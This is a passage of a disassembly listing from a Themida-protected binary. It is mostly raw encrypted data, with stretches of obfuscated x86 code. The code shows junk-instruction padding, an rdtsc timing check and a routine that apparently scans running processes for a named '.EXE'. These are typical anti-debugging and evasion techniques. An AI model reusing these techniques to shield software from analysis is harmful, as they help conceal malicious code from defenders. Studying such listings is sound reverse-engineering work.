		dd 0E97AEEE6h, 0Fh, 9EE147E8h, 0F487F664h, 28A8CDE1h, 0FFF1C0ABh
		dd 0D10831B5h, 7EBA6007h, 0E95FF7F8h, 13h, 48683ED6h, 428156h
		dd 50017634h, 4440DABAh, 611F129Ch, 12E9h, 0BA6B3900h
		dd 210767A3h, 377C6BABh, 381B886Bh, 8DA4FA2Ah, 0D4A6EA85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F84922ACh, 0D08B6660h, 3840Fh, 0B70F0000h
		dd 0D0FF61C2h, 13E9h, 0BA451E00h, 2B94E6FDh, 66C7B96Eh
		dd 0D823D3E8h, 0C825A8A0h, 2F858589h, 6A07D1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0ED34CDC3h, 0C64AB809h, 0D131B585h, 6A5007h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F81EAC3h, 183h, 8E9FC00h, 0D9000000h, 9F2DD4F7h, 0E8C1328Ah
		dd 4, 0A8ADAD56h, 0C870Fh, 8B0F0000h, 6, 880Fh,	0F500000h
		dd 1680h, 11E900h, 86540000h, 1B4108FAh, 0F32EED43h, 9D3BF05Ah
		dd 8BB9B657h, 0E9042444h, 13h, 62F98829h, 0A3C6273Bh, 8487C613h
		dd 0BD10CB5Ch, 8B45245Bh, 0F525000h, 68Fh, 8A0F00h, 0F000000h
		dd 7E931h, 7FA30000h, 0C22EBAFCh, 89585A05h, 50042444h
		dd 6820F52h, 0F000000h,	89h, 0E9310F00h, 0Ch, 9EE33C70h
		dd 80B1E2B6h, 248FD1DCh, 0FC58585Ah, 831B5FFh, 60F907D1h
		dd 10E9h, 0A11D8C00h, 765EA833h, 7832EB3Bh, 0C74F99D2h
		dd 0D28166ACh, 8D61CB90h, 0D4A6EA85h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0F60A6B4h, 148Bh, 0FE900h, 0AA960000h, 3C98CA7h, 0FB5048C2h
		dd 0A671CB0Bh, 0F825B8C9h, 0F615DA3h, 88Ah, 2830F00h, 60000000h
		dd 0F5D0FF61h, 0BE9h, 5D445F00h, 69B1DD02h, 0AA53E051h
		dd 33798589h, 6A07D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0D220C4C3h, 4E8F5h, 0A82F0000h
		dd 5250F08Fh, 8F0F5250h, 0
		dd 0DE9310Fh, 0E0000000h, 8D2708E0h, 0ADA1CF05h, 30454CDCh
		dd 310F585Ah, 68F0Fh, 52500000h, 585A310Fh, 0E950585Ah
		dd 0Ch,	7A2EA2F2h, 13495F31h, 63BF4144h, 424448Bh, 5E9h
		dd 0FCFCE900h, 8B9E01h,	10E9h, 9CCF4A00h, 59D35ECFh, 6D6B1A95h
		dd 6DE25A75h, 24448946h, 0A860F04h, 50000000h, 0F616052h
		dd 5A616031h, 6A5858h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 7913FC3h, 267BDBBBh, 0F973AFDh
		dd 168Bh, 11E900h, 4DC30000h, 64DE0831h, 89344936h, 0D7130203h
		dd 0FFF0C5EAh, 0D10831B5h, 858DFC07h, 7D4A6EAh,	88D0Fh
		dd 820F0000h, 2, 0D0FF6160h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0C3C35747h,	0C4F749CBh, 81F28B60h
		dd 5FE29CD0h, 85896147h, 7D12A25h, 8B665160h, 2CBA5BC3h
		dd 617FFFC4h, 31B585C6h, 0F55007D1h, 92586668h,	0A800FC2h
		dd 60000000h, 850FC68Bh, 0
; ---------------------------------------------------------------------------
		popa
		xor	dword ptr [esp], 550E8430h
		jno	loc_5E3881
		jno	loc_5E3881
		stc


loc_5E3881:				; CODE XREF: Themida_:005E3874j
					; Themida_:005E387Aj
		push	dword ptr [ebp+7D11CC9h]
		cld
		lea	eax, [ebp+7D13B01h]
		jmp	loc_5E389B
; ---------------------------------------------------------------------------
		db 27h
		dd 58B2FD6Eh
		db 86h,	26h, 0D2h
; ---------------------------------------------------------------------------


loc_5E389B:				; CODE XREF: Themida_:005E388Ej
		call	eax
		stc
		mov	[ebp+7D121D5h],	eax
		push	0
		push	eax
		call	sub_5E38AF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E38AF	proc near		; CODE XREF: Themida_:005E38A7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5E38AF	endp

; ---------------------------------------------------------------------------
		cmp	ebx, [esi]
		enter	0FFFFFC4Fh, 6Ah
		jmp	loc_5E38D1
; ---------------------------------------------------------------------------
		dw 0CF0Eh
		dd 0F1153110h
		db 3Ah
; ---------------------------------------------------------------------------


loc_5E38D1:				; CODE XREF: Themida_:005E38C5j
		jmp	loc_5E3A12
; ---------------------------------------------------------------------------
		pusha
		mov	eax, 3EAEF435h
		popa
		push	eax
		push	eax
		push	edx
		jmp	loc_5E38F4
; ---------------------------------------------------------------------------
		db 8Bh,	89h, 0A8h
		dd 5B27F6C4h, 0F7B3E846h, 678CC5FEh
; ---------------------------------------------------------------------------


loc_5E38F4:				; CODE XREF: Themida_:005E38E0j
		rdtsc
		pusha
		jp	$+6
		mov	eax, 13A1FCBFh
		popa
		pop	edx
		pop	eax
		mov	[esp], ebp
		jmp	loc_5E391D
; ---------------------------------------------------------------------------
		cmp	ecx, ebp
		cmp	esp, ds:0BA9A350Ch
		pop	esp
		and	[edx+4Dh], esi
		mov	bl, [eax+6Eh]


loc_5E391D:				; CODE XREF: Themida_:005E3908j
		mov	ebp, esp
		pusha
		mov	al, 29h
		mov	dx, 0D88Eh
		popa
		cld
		add	esp, 0FFFFFFFCh
		pusha
		push	edi
		movzx	esi, di
		pop	esi
		movsx	edx, dx
		popa
		pusha
		jmp	loc_5E3946
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0DA1C8D1Ch, 35BEAC92h
		db 84h,	8Ah
; ---------------------------------------------------------------------------


loc_5E3946:				; CODE XREF: Themida_:005E3936j
		call	$+5
		pop	edx
		sub	edx, 7D6D30Dh
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+7D10EEDh], 1
		jz	loc_5E39FE
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+7D12F85h]
		pop	edx
		mov	[edx+7D6CCFEh],	eax
		lea	ebx, [edx+7D6CD02h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+7D13379h]
		pop	edx


loc_5E398E:				; CODE XREF: Themida_:005E39B8j
					; Themida_:005E39ECj
		push	edx
		lea	ebx, [edx+7D6CD02h]
		push	ebx
		push	dword ptr [edx+7D6CCFEh]
		call	dword ptr [edx+7D121D5h]
		pop	edx
		or	eax, eax
		jz	short loc_5E39F7
		lea	ebx, [edx+7D6CD02h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5E39B2:				; CODE XREF: Themida_:005E39C2j
		cmp	ecx, 104h
		jz	short loc_5E398E
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5E39B2
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+7D11159h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+7D11159h]
		push	eax
		call	dword ptr [edx+7D12A25h]
		pop	edx
		or	eax, eax
		jnz	short loc_5E398E
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5E39FE
; ---------------------------------------------------------------------------


loc_5E39F7:				; CODE XREF: Themida_:005E39A5j
		mov	dword ptr [ebp-4], 0


loc_5E39FE:				; CODE XREF: Themida_:005E3960j
					; Themida_:005E39F5j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		stc
		jmp	loc_5E3A12
; ---------------------------------------------------------------------------
		dd 0EB9A6C27h
		db 33h,	5Ah
; ---------------------------------------------------------------------------


loc_5E3A12:				; CODE XREF: Themida_:005E347Fj
					; Themida_:loc_5E38D1j	...
		mov	edx, edx
		call	loc_5E3A24
		mov	cl, 0FCh
		in	al, 5Eh
		pop	edx
		jge	short near ptr dword_5E3A54
		ffree	st(3)
		cld
		push	ds


loc_5E3A24:				; CODE XREF: Themida_:005E3A14p
		call	sub_5E3A39
		cmp	eax, 0C202A0F2h
		adc	edx, esp
		mov	dl, 17h
		popf
		sbb	edi, edi
		cmc
		inc	ebp
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		dec	eax

; =============== S U B	R O U T	I N E =======================================



sub_5E3A39	proc near		; CODE XREF: Themida_:loc_5E3A24p

; FUNCTION CHUNK AT 005E3AAF SIZE 00000004 BYTES

		pop	eax
		pop	esi
		call	near ptr loc_5E3A48+1
		in	eax, dx
		jns	short loc_5E3AAF
		test	[ebx], ah
		wait
		cmp	ebx, esi


loc_5E3A48:				; CODE XREF: sub_5E3A39+2p
		xor	eax, 0C6815BF8h
sub_5E3A39	endp ; sp-analysis failed

		mov	ds:0F00005Bh, eax
		pop	dword ptr [ecx]
; ---------------------------------------------------------------------------
dword_5E3A54	dd 0F8000000h, 16A7BFh,	0C1B70F00h, 8B6636FFh, 6E95AC3h
					; CODE XREF: Themida_:005E3A1Ej
		dd 0C6000000h, 0A0270575h, 42C28121h, 536876C6h, 14E9h
		dd 4AB7C00h, 0AA88E406h, 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h
		dd 0C28159B5h, 2F62F748h, 0AE8h, 0AF595D00h, 0B84CC1E0h
		dd 66D204B7h, 8159DF8Bh
; ---------------------------------------------------------------------------
		retn	0C1D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5E3A39


loc_5E3AAF:				; CODE XREF: sub_5E3A39+8j
		dec	ebp
		add	al, 0E9h
		push	cs
; END OF FUNCTION CHUNK	FOR sub_5E3A39
; ---------------------------------------------------------------------------
		db 0
		dd 0BC2C0000h, 0C0FE784Eh, 0C0F9464Ah, 890D1A3Fh, 68C0F52h
		dd 81000000h, 7A089DC0h, 80068F2Ch, 0EE83CBDBh,	13E803h
		dd 0BBFC0000h, 8BF9D37Eh, 7435AE76h, 173C648Ch,	0BA10577h
		dd 814E59E9h, 1EFh, 0E850F00h, 66000000h, 1DE9CA8Bh, 86000000h
		dd 79E43D0Dh, 0ACDC8015h, 0FFFF4BE9h, 0BEA5A4FFh, 0C6BC640Ch
		dd 9EDBF0BAh, 0A5F7603Eh, 14E8h, 90C8A900h, 0DFEC5043h
		dd 8EA3D368h, 0AAB9AACh, 1461FF27h, 0E85FF5B2h,	12h, 0F0BF5831h
		dd 8806A096h, 0B3DFBD2Ch, 0D179E85Ch, 9E89782h,	1A000000h
		dd 0C49BAE44h, 0F2E313Bh, 0A0F9B966h, 0C781595Bh, 6218h
		dd 9E8h, 0E2184F00h, 92EA333h, 0BA662C7Bh, 335B6A98h, 0EE9F6h
		dd 2FB0000h, 4F5E135Bh,	0CCFA82B2h, 0BF161755h,	6037048Bh
		dd 9351BF66h, 0EE9h, 1D73FD00h,	4C9C5ECEh, 2E989985h, 61427D70h
		dd 0CC05F081h, 0E3B11B2Bh, 9CB4E881h, 80606AF7h, 1B511F1h
		dd 74F08161h, 0FC36B8A1h, 8F00B550h, 0D38B3704h, 2830Fh
		dd 0CA8B0000h, 6042EE81h, 9CB32E68h, 603EC681h,	0C2812E68h
		dd 687059FDh, 9EBCFE81h, 850FFFFFh, 0FFFFFF98h,	7B8D8DF9h
		dd 0B407D6D6h, 518D898Ch, 2907D11Bh, 0D116059Dh, 5585C707h
		dd 3807D12Dh, 6A000069h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 5897C352h, 0D86E28F5h
		dd 0C75BAC05h, 0D11D3985h, 7, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B3217F3Eh
		dd 89B069FEh, 0B5FFC257h, 7D1068Dh, 0B8E0Fh, 6E90000h
		dd 0BD000000h, 3552EA32h, 195FF00h, 6A07D118h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0A8FCC353h, 579A50A1h, 6AC28Bh, 5595FFh, 0C08B07D1h
		dd 18624FEBh, 0DC0FB0BFh, 0CF66F496h, 24364978h, 9CCA58B6h
		dd 0B4727EF8h, 0CB5FE38Bh, 90C1BC55h, 0AE323942h, 0F70187B9h
		dd 0CA14398Ch, 0E17A7E30h, 1A1279DBh, 955FADE2h, 6ACD3BC0h
		dd 0E3DF2D14h, 8145BF53h, 542B0A57h, 16B5FE67h,	0E0FCCD0Dh
		dd 187E954h, 80240000h,	6E786FB6h, 4AD0864Ah, 5E914EB6h
		dd 502B096Bh, 50F05060h, 5E970963h, 779D5068h, 228F3943h
		dd 768C5011h, 0C22ED2EAh, 0B0BD9EEEh, 13775056h, 1285027h
		dd 0
		dd 40000h, 2 dup(0)
		dd 350000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 47h dup(0)
		dd 1765E900h, 28680000h, 0E907D6DAh, 0FFFB8087h, 0D6DB4C68h
		dd 807DE907h, 4068FFFBh, 0E907D6DCh, 0FFFB8073h, 0D6DD2768h
		dd 8069E907h, 0D568FFFBh, 0E907D6DEh, 0FFFB805Fh, 0D6E05268h
		dd 8055E907h, 1568FFFBh, 0E907D6E1h, 0FFFB804Bh, 0D6E1DB68h
		dd 8041E907h, 0FC68FFFBh, 0E907D6E3h, 0FFFB8037h, 0D6E4FC68h
		dd 802DE907h, 9368FFFBh, 0E907D6E5h, 0FFFB8023h, 0D6E63C68h
		dd 8019E907h, 0A68FFFBh, 0E907D6E8h, 0FFFB800Fh, 0D6ED4668h
		dd 8005E907h, 4368FFFBh, 0E907D6EEh, 0FFFB7FFBh, 62AF7B38h
		dd 0A8F52D82h, 0ED3AE6C8h, 307D9F0Dh, 79C66250h, 0CDE559C6h
		dd 832E0E5Bh, 377656A3h, 0F6BA9AE7h, 0EF7BE12Eh, 25E95F70h
		dd 931FEF72h, 0E9478807h, 77077225h, 3D0A1897h,	52822EDCh
		dd 0C656C75Fh, 0CBE5C536h, 32370C59h, 37775557h, 3DC959E9h
		dd 220590BEh, 33A43472h, 22059FB4h, 2B6ECC72h, 2968C3E3h
		dd 80CA56B0h, 0D9C3EAC6h, 0E2EB6A4Ch, 9D7222D0h, 8DDEC5EBh
		dd 0A131B670h, 2F3ED4h,	39DD0000h, 9E1DA930h, 722219FCh
		dd 0C34FC050h, 0E758CEE3h, 19F3DC5Bh, 0C3537222h, 0E2E76633h
		dd 0FF722219h, 0F6165EA1h, 7FB02977h, 0CCh, 0BA2821Eh
		dd 9716A213h, 75F331B6h, 29F68616h, 4CBD6749h, 71E2466Ch
		dd 79051F91h, 9B0C1699h, 0EDCD3E0Bh, 951461C3h,	75F33577h
		dd 0A3F0347Ch, 0C637EDC3h, 0D561F8F1h, 2226A856h, 3F8C1C72h
		dd 4EDA416Ah, 0F1C74ACFh, 0DE6AFA75h, 9878B4FEh, 8980915h
		dd 0F1C74489h, 0EC780875h, 0F1C7606Dh, 0C454E475h, 0CE5A5838h
		dd 0BFEDCD5Dh, 6343905Dh, 9132D94Fh, 4D05F00h, 15062F93h
		dd 0AD060000h, 5F50307Dh, 189676C3h, 0D1DBBB08h, 941EFE4Bh
		dd 6B944794h, 0DC29FFB3h, 2471B5FCh, 68B56944h,	0AFFC2888h
		dd 113EBD49h, 0B57225EBh, 842E84E5h, 0EBCB57A4h, 0B49461C7h
		dd 4CD8D8FCh, 4DDD416Ch, 69E87400h, 75F33164h, 2A8B58E8h
		dd 0C2EF3039h, 0C7BEC17Fh, 0CB57E373h, 0EC5DC3EBh, 0ED317C5Ch
		dd 67E1A120h, 0D5657222h, 0DC466949h, 9D0EDB6Bh, 0C9068511h
		dd 7D722267h, 0A8A120EDh, 0C1722267h, 0E1C132ECh, 0DE354CEh
		dd 30186CAFh, 27478FD2h, 0B0B0294Ah, 0DBh, 0A2822E4Fh
		dd 9A19A531h, 75F331B5h, 0DCBC8919h, 62E152D6h,	75F335A2h
		dd 0EE3BE9C7h, 786A20Eh, 75F335C6h, 199E842Bh, 0FC88F989h
		dd 0C491951Ch, 0A20FFAEFh, 0E968F484h, 72222635h, 54A64F99h
		dd 0C7793AA5h, 145EEA37h, 0AA274132h, 0B1865328h, 41DBD1B8h
		dd 7A1936B5h, 1DAD7222h, 0D682018Dh, 7675F1A4h,	387A5AE6h
		dd 611A64F0h, 53B46042h, 51317E4Bh, 34CCB61h, 0C375F12Bh
		dd 51FCA333h, 48D05FDDh, 13E273D7h, 0D1E20000h,	832C0C59h
		dd 3C72529Fh, 0F5B797E4h, 0B8FADA27h, 8F702370h, 0B805238Fh
		dd 4DD9D8h, 44918D20h, 8BD84C64h, 351A9925h, 997225EAh
		dd 388268C9h, 0CF32C333h, 9777449Ch, 0A1810D1Bh, 7E32120Ch
		dd 0AC8CD9A6h, 0B4942004h, 25B526FAh, 2EAA0B58h, 5131A282h
		dd 0EC78C55Fh, 31ECE160h, 0D06075F3h, 958B2303h, 0B86C4424h
		dd 0DE9DB06Bh, 969F9F94h, 4E1BAF68h, 5DE97079h,	224640DEh
		dd 0C6740472h, 0A8770347h, 0D3DCBC85h, 814EDE4Fh, 901C87ACh
		dd 0A92800B0h, 85A877A4h, 97089828h, 2FAE3A07h,	82795B1Bh
		dd 0AF8F1BABh, 1EAE1FFDh, 0E60BE051h, 2E9F852Bh, 0A2820E9Eh
		dd 0C5A5160Eh, 39C93AECh, 0D150DCA9h, 85ADFD12h, 0AFA01FABh
		dd 1F85ADFDh, 0AD3DC28Fh, 0B56F4121h, 311E9D29h, 9585ADFDh
		dd 0BEB3805h, 2BD87FA5h, 7EE0032Bh, 12EEA90Dh, 0C5EE0000h
		dd 77381865h, 307E5EABh, 0E9C3A3F0h, 0AC06E633h, 837C2F7Ch
		dd 0C411179Bh, 0C59CDE4h, 509D812Ch, 97E44070h,	2926A531h
		dd 9D7225EDh, 822E6CCDh, 575C31A2h, 0B1C140CCh,	0E72221Ah
		dd 0A556BC4h, 9A67DED4h, 0AB7D3515h, 0EE60AA3Ah, 85F4B43h
		dd 230350E0h, 9A26978Dh, 612EF6BAh, 70FC678Ch, 76AA04E4h
		dd 6AE97505h, 72225E65h, 0D8C59E9h, 75F4883Ch, 94740090h
		dd 327C081Ch, 0CA29CD30h, 0DBF4734Eh, 6B75F410h, 317E4BDBh
		dd 54C55F51h, 63EF6A7Fh, 26F32983h, 0C6EE1B9Ah,	0CE5E7222h
		dd 0D9D6B642h, 0D9436949h, 2B0BD868h, 0C6529F85h, 0C692BB3Ah
		dd 0A2327222h, 69BBF5D5h, 0FDD251DDh, 517222C6h, 46263707h
		dd 0C65673DDh, 0BEB388F9h, 0A6189723h, 2675F31Eh, 0C838EF96h
		dd 0EE5FD061h, 12078Ah,	7EAC0700h, 0C45E5131h, 9179777h
		dd 4CD0DCBCh, 95931FFFh, 0B4689548h, 0FDDD2AFEh, 452572B4h
		dd 8969B668h, 4AB0FD27h, 0EC0E3FBEh, 0EEBE7225h, 0A4842E8Dh
		dd 38698257h, 0D5A237E3h, 52DE6E90h, 223817D3h,	0B627B772h
		dd 0B8FADAD6h, 0C854E070h, 22380449h, 6B38C872h, 0B2723E1Eh
		dd 8C476C41h, 0FD8DFE22h, 7062E16Dh, 0D475F329h, 0D969BDF4h
		dd 3F258868h, 4F844285h, 0DF50E0F9h, 71AFFFh, 5AAEF14Fh
		dd 68E773FFh, 75F34567h, 9102268Ch, 0A2EC7C01h,	0E85F7462h
		dd 0D634014Ch, 0D7B74393h, 4ADA4BD9h, 0F3D082CBh, 0E5B24275h
		dd 4EBFAB05h, 18212DBFh, 0F0C512A2h, 0F4D460FBh, 869616BAh
		dd 869616F6h, 2CB88515h, 22B24DADh, 710172h, 23949020h
		dd 13ACEF4Dh, 78F7831Eh, 75F39CBAh, 4D2D7A0Ah, 946C563h
		dd 0BD75F39Ch, 0C3654D2Dh, 0C132C252h, 0F38C0942h, 0F0339175h
		dd 3E70644Ch, 0F6D756E2h, 5675F38Ch, 9E936C6h, 11F17DA7h
		dd 8212839Dh, 7A6F44B5h, 7DC753DFh, 0A5E1FCA6h,	307E5E86h
		dd 22EF7FF0h, 22C563A3h, 0D57E372h, 1121AA66h, 222BAAB3h
		dd 0A27222FFh, 7A358212h, 0B2294274h, 28A2A726h, 922275F4h
		dd 7AAE04E4h, 28418A09h, 0BCB575F4h, 0A34F9925h, 0DE92A283h
		dd 97CC9E6Fh, 9AD7294Dh, 69C241CDh, 0DD72224Dh,	0CFE1C14Dh
		dd 0F07C0855h, 224D5C71h, 656AE972h, 0E972224Dh, 0B844D459h
		dd 224D1439h, 5B28B872h, 7EEF357Bh, 839B12F2h, 92DCD6B6h
		dd 76BFF8C2h, 0F89F2FBBh, 0C890456Fh, 594DB122h, 59000010h
		dd 0A383D05Ah, 0E9C9160Ch, 2E0E5BC5h, 71519E7Eh, 0E79AE741h
		dd 7CAC0636h, 0C4624F2Fh, 8169777h, 4FD5DBBBh, 91109C02h
		dd 7225EFBCh, 82DF4010h, 49160EA2h, 92DF4969h, 0D2FB7A06h
		dd 7275F331h, 0F6D756E2h, 5675F331h, 9719F9C6h,	0E6B7018Dh
		dd 1D609517h, 0F3D34411h, 45F667BDh, 0B000A4E7h, 7978B24h
		dd 0B01636BAh, 0C9A9B7F9h, 60C2EDE7h, 2CF5FEFh,	1836Ch
		dd 822E0B00h, 5F5131A2h, 6D60160Bh, 6CB6C78Dh, 4C29525Ch
		dd 1865F5F7h, 4D632E43h, 67F72587h, 4AD666F6h, 22BF83CBh
		dd 545C3C72h, 0EE7E03D0h, 0BFD5FE7Dh, 0B8167222h, 6C452575h
		dd 0ECB949BAh, 290E4868h, 53D1B0h, 39700000h, 0FBA6EF30h
		dd 0D78F2AA5h, 4F2FBB47h, 0C41C05Eh, 0C075F310h, 36404376h
		dd 2CBC3107h, 3654D35Fh, 8F722255h, 0F8B9B903h,	20DA97A8h
		dd 2242ACA1h, 5DA35B72h, 0DEC525A2h, 77FCC959h,	0D2F776E7h
		dd 0F722246h, 6266EB1h,	8FB02929h, 0A1h, 0BA2822Eh, 4512A213h
		dd 68D94B65h, 72FE2A88h, 38051D92h, 5BC9E7C7h, 7EA60AEAh
		dd 38A012F2h, 0A91AAA76h, 80FF4C19h, 75F33580h,	105DC7E9h
		dd 565B363Bh, 3FCF5FD0h, 45DBD3B3h, 84C948D4h, 4875F335h
		dd 0CF5B28B8h, 20EA6650h, 0CA56E672h, 0D460C8EAh, 9966BAF4h
		dd 0E2466C4Ch, 8E1BA83Bh, 0AA0E7FC8h, 0EDCh, 653D7DCh
		dd 4C998926h
		dd 91DE426Ch, 0D421FBB1h, 1D6ABEF4h, 2989B56Ah,	0DFD2B2FFh
		dd 931AFA47h, 525E3E8Bh, 931F85D2h, 25D13B14h, 5ABB8B72h
		dd 57A4842Eh, 9EEB3977h, 0A2822E3Dh, 0C55F5131h, 0CD575939h
		dd 0B2FFCC5Ch, 0D546DED2h, 0E470EB00h, 879AD04h, 931FAB78h
		dd 0B829FFB3h, 0C6DC5B28h, 7F722213h, 135B74F3h, 21907222h
		dd 0A6F08005h, 3EBB96BEh, 8D12DF5Ch, 0FD4CB0FDh, 0EB000007h
		dd 28603882h, 0E77A51Dh, 831384A4h, 6C4626F3h, 87CC4BBCh
		dd 0F775F34Fh, 5CDB67F2h, 7225999Fh, 87139F2Fh,	6549823Dh
		dd 5B28031Bh, 0A2EF357Bh, 0C536EEC2h, 0B45BCDE5h, 0C88B0A1Fh
		dd 192589FAh, 1900000Eh, 6343909Ah, 0A989D64Ch,	0EECE1B05h
		dd 31115EBEh, 0A75AA781h, 3CECC676h, 84A20FEFh,	0C8565737h
		dd 0F159B7Bh, 51D05CC2h, 7225D07Ch, 2E9F00D0h, 7757A484h
		dd 0EE7AEB39h, 0EC760DA4h, 0DE283117h, 8DF3E676h, 0D9B986ACh
		dd 2BDC4DD7h, 0CAE68ACDh, 69890D5Ah, 0F2B7F9D2h, 0Dh, 3B4F8F91h
		dd 90F475F3h, 0FFFFFDD2h, 238822Fh, 113EBD62h, 0B575F3C4h
		dd 0DADB25h, 92B73603h,	0E275F34Ch, 0F6D756C9h,	5675F34Ch
		dd 1EAA36C6h, 3DAE6E3Eh, 9861E0ADh, 2C72259Ah, 8030109Ch
		dd 397757A4h, 0A4EE7AEBh, 0C28E9CB7h, 0D4B481C0h, 6AB2FADEh
		dd 846E5FDEh, 4EDE7225h, 41B817BEh, 0FE6FC88Bh,	0D539Ah
		dd 0CA605300h, 10129D7Dh, 55CBE3C3h, 98842808h,	0E1476B4Bh
		dd 3CE194h, 492976B2h, 9171BE68h, 0D5B5021Ch, 96FC49DBh
		dd 0D0428B0Ah, 32027225h, 0A2822ED1h, 0C55F5131h, 245A354h
		dd 0D418525Eh, 3F108F5Bh, 8F75F3DEh, 0C942B5FFh, 8E125FEFh
		dd 0B7F9FB6Eh, 1EF7h, 4F8F9600h, 0F475F33Bh, 0FA268868h
		dd 522593B0h, 330036CBh, 0FFFD05CFh, 4E6343FFh,	82AA0BD8h
		dd 0A1120AA2h, 0C233EDC1h, 0D5A232h, 0D8F574EBh, 6C75F331h
		dd 41C04CDCh, 7222261Dh, 4B9521B1h, 2A319052h, 2995DFBDh
		dd 0C8602069h, 5AD94A17h, 72225C70h, 7DEE3879h,	9C0D0F9Dh
		dd 0FA4A8DEBh, 225C527Bh, 0D262F272h, 1498CEAh,	0B0292FE1h
		dd 1C06Ah, 8A8F0900h, 2F75F331h, 37EDC3A3h, 129E7E6Ah
		dd 0CBE5C512h, 869E859h, 0E675F331h, 0FA14588h,	5C3CC815h
		dd 3005D256h, 5333A43Fh, 0EE7AC75Dh, 0B27F9F0Eh, 0D546DED2h
		dd 0F3310D56h, 0F2D25E75h, 3D9B68C0h, 9C92B2FAh, 721BB7FAh
		dd 0BA000001h, 31A2822Eh, 39C55F51h, 0FECB5559h, 0FCD7DCB1h
		dd 6DFD6EB2h, 46C551DDh, 75F33109h, 0D4602DBDh,	22057955h
		dd 0CC3DCD72h, 2205044Dh, 0C4076572h, 0B4189474h, 299A2AFEh
		dd 2848CC99h, 0B1B02968h, 56h, 686A4525h, 0D868D945h, 7A47D748h
		dd 0A9303919h, 8605911Dh, 75F33149h, 21A06DFDh,	72221961h
		dd 65E455E5h, 7222196Ch, 87F82A85h, 9E1D07A7h, 722219B1h
		dd 84F58515h, 65227C3Ah, 6E4444AFh, 8429CD10h, 999299Ah
		dd 3880C321h, 0B0296718h, 0C3A1h, 822E4000h, 19A531A2h
		dd 0F331B59Ah, 0BC891975h, 0E152D6DCh, 0E975AF01h, 9614979Fh
		dd 327EBF15h, 61F181F2h, 6D432394h, 0B5EB6AB7h,	0BE75F376h
		dd 10E532F2h, 0C805841Bh, 7C75F376h, 51D05CECh,	7220A965h
		dd 0EDCD59E9h, 869C13C5h, 0A8F58515h, 0B2723C1Ch, 20A91A33h
		dd 8A1AAA72h, 0DCBC8919h, 3AAB52D6h, 0EDC88E5Fh, 0B32187Ch
		dd 81320000h, 337C5CA9h, 0ECC2A2EFh, 0A507E734h, 684A2A77h
		dd 5FC073C0h, 855D3DFh,	509D8928h, 94E13D70h, 0DB28FCB4h
		dd 656AE975h, 0E97225D2h, 3882B819h, 49C8B75Bh,	75F37B04h
		dd 96EE38C8h, 0E0AD9Fh,	0E18B26B2h, 9A0E8233h, 0A819A993h
		dd 5B3B8818h, 2182CF55h, 31A2822Eh, 0C70B5F51h,	20C5BED8h
		dd 3DA1EE7Eh, 468h, 25A453DCh, 47B86A45h, 1C15EAB7h, 31C50A89h
		dd 0FD8975F3h, 0F331517Eh, 0D565F575h, 0DA6ABCF5h, 0CAE2C24Eh
		dd 31F6D756h, 0C65675F3h, 0E0EA6936h, 647225E6h, 67F72B84h
		dd 6BB1FBDBh, 0F9FCB0FAh, 0E29B39F9h, 0E73F7252h, 6B19E676h
		dd 7A069D96h, 0F46A3BFBh, 8AFB8B75h, 0F46AC60Bh, 82C52375h
		dd 0F3411A3Ah, 3ABA3B7h, 8F420000h, 75F331BAh, 0D7F87703h
		dd 7775F331h, 0B99B1AE7h, 0BD75F331h, 22A12DB4h, 72221EACh
		dd 6EE99020h, 21C890C8h, 0A324CB0h, 81320000h, 337C5CA9h
		dd 0ECC2A2EFh, 0A507E734h, 684A2A77h, 5FC073C0h, 855D3DFh
		dd 509D8928h, 94E13D70h, 0DB28FCB4h, 656AE975h,	0E97225D5h
		dd 822EB819h, 575C31A2h, 85AA8C12h, 57E7C45Ah, 4F034CCBh
		dd 33C37225h, 811811E6h, 879915F5h, 573C8616h, 49D0E3Dh
		dd 0CE4DD9A6h, 75F3108Dh, 4525B141h, 0EE6DBA6Ch, 75F311CDh
		dd 59A63D31h, 7DEE3879h, 0E9E665F1h, 5D75F311h,	902000CDh
		dd 254E2394h, 0E7B332BEh, 67722222h, 0E3F330D7h, 35A6C890h
		dd 99BD1h, 12189B00h, 58CAE5C5h, 9D832B0Bh, 0E03C7050h
		dd 29FFB393h, 48F429DCh, 9171BE6Ah, 0D9B90620h,	1DFD4AD4h
		dd 0DE449193h, 0D4FAD352h, 7A4A7225h, 0A9303919h, 0E6BD9E1Dh
		dd 2A0A7225h, 2E1F9E82h, 9E7225E6h, 2CB17E0Eh, 3A84109Ch
